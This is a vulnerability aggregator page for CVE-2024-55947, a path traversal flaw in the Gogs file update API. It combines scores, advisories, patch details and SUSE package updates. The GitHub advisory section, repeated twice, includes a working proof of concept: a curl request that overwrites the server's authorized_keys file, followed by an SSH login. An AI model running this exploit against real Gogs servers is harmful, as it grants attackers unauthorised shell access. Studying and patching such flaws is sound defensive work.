CVE-2024-55947
Gogs has a Path Traversal in file update API
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
Gogs has a Path Traversal in file update API
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
- Record
CVE-2024-55947- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2024-3608
8.7
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
- Record
EUVD-2024-3608- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-qf5v-rp47-55gg
8.7
Path Traversal in file update API in gogs
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
-
Generate a Personal Access Tokens
-
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' -
ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
- Record
GHSA-qf5v-rp47-55gg- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.7
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
- Record
CVE-2024-55947- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.7
Gogs has a Path Traversal in file update API
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
- Record
CVE-2024-55947- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-qf5v-rp47-55gg
8.7
Path Traversal in file update API in gogs
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
-
Generate a Personal Access Tokens
-
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' -
ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
- Record
GHSA-qf5v-rp47-55gg- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGO-2024-3356 No score
Path Traversal in file update API in gogs in gogs.io/gogs
Path Traversal in file update API in gogs in gogs.io/gogs
- Record
GO-2024-3356- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14624-1 No score
govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14624-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:0060-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
-
Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3371 GHSA-2r2v-9pf8-6342
- GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c
-
Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368
- GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx
- GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg
- GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8
- GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr
- GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c
- GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv
- GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq
- GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498
- GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3
- GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r
- GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4
- GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m
-
Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2024-3101 GHSA-75qh-gg76-p2w4
- GO-2024-3339 GHSA-8wcc-m6j2-qxvm
-
Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2024-3101 GHSA-75qh-gg76-p2w4
- GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p
- GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63
- GO-2024-3342 GHSA-hxr6-2p24-hf98
- GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp
- GO-2024-3344 GHSA-32gq-x56h-299c
- GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w
- GO-2024-3350 GHSA-5pf6-cq2v-23ww
- GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf
- Record
SUSE-SU-2025:0060-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gogs.io/gogsGo |
before 0.13.1 | 0.13.1 |
govulncheck-vulndbSUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 18 CVEs |
before 0.0.20250108T191942-150000.1.26.1 | 0.0.20250108T191942-150000.1.26.1 |
govulncheck-vulndbopenSUSE:Leap 15.6 From an advisory covering 18 CVEs |
before 0.0.20250108T191942-150000.1.26.1 | 0.0.20250108T191942-150000.1.26.1 |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 13 CVEs |
before 0.0.20250108T191942-1.1 | 0.0.20250108T191942-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | ferralon-demo/gogs-symlink-chain | 2026-06-23 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-55947 is a high vulnerability (CVSS 8.7) in Gogs, published December 23, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 77.7%, the 99th percentile. Fixed in gogs.io/gogs 0.13.1.
References
github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg
github.com/gogs/gogs/issues/7582
github.com/gogs/gogs/pull/7859
github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41
nvd.nist.gov/vuln/detail/CVE-2024-55947
github.com/advisories/GHSA-qf5v-rp47-55gg
Show 22 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2024/55xxx/CVE-2024-55947.json
github.com/gogs/gogs
suse.com/support/update/announcement/2025/suse-su-20250060-1
suse.com/security/cve/CVE-2024-12678
suse.com/security/cve/CVE-2024-25131
suse.com/security/cve/CVE-2024-25133
suse.com/security/cve/CVE-2024-28892
suse.com/security/cve/CVE-2024-43803
suse.com/security/cve/CVE-2024-45338
suse.com/security/cve/CVE-2024-45387
suse.com/security/cve/CVE-2024-54148
suse.com/security/cve/CVE-2024-55196
suse.com/security/cve/CVE-2024-55947
suse.com/security/cve/CVE-2024-56362
suse.com/security/cve/CVE-2024-56513
suse.com/security/cve/CVE-2024-56514
suse.com/security/cve/CVE-2024-9779
suse.com/security/cve/CVE-2025-21609
suse.com/security/cve/CVE-2025-21613
suse.com/security/cve/CVE-2025-21614
suse.com/security/cve/CVE-2025-22130
lists.opensuse.org/archives/list/[email protected]/thread/UV63VQGB6Y3V7AIZHIKF3PMFVIHM32MI